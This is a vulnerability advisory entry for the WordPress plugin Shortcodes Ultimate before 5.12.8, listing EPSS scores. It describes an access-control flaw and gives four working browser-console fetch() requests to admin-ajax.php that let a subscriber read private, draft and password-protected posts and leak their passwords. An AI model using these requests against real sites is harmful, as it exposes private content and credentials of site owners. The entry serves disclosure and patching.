Lucene search

K
wpexploitWpvulndbWPEX-ID:8A466F15-F112-4527-8B02-4544A8032671
HistoryFeb 27, 2023 - 12:00 a.m.

Shortcodes Ultimate < 5.12.8 - Subscriber+ Arbitrary Post Access

2023-02-2700:00:00
wpvulndb
56
arbitrary post access
shortcodes ultimate
subscriber access
website exploit
content leakage

0.001 Low

EPSS

Percentile

28.2%

The plugin does not ensure that posts to be displayed via some shortcodes are already public and can be accessed by the user making the request, allowing any authenticated users such as subscriber to view draft, private or even password protected posts. It is also possible to leak the password of protected posts

Run one of the below command in the developer console of the web browser while being on the blog as a subscriber

Via su_post shortcode:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_post field='the_content' post_id='14']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the content of the post with ID 14 (such as a draft/private/password protected one)

To leak the password of a protected post:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_post field='post_password' post_id='20']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));


Via su_posts shortcode:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_posts post_status='private']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display all private posts and their content (pwd protected content won't be displayed here though)

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_posts post_status='any' id='14,20']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the posts with id 14 and 20 along with their and their content (pwd protected content won't be displayed)

0.001 Low

EPSS

Percentile

28.2%

Related for WPEX-ID:8A466F15-F112-4527-8B02-4544A8032671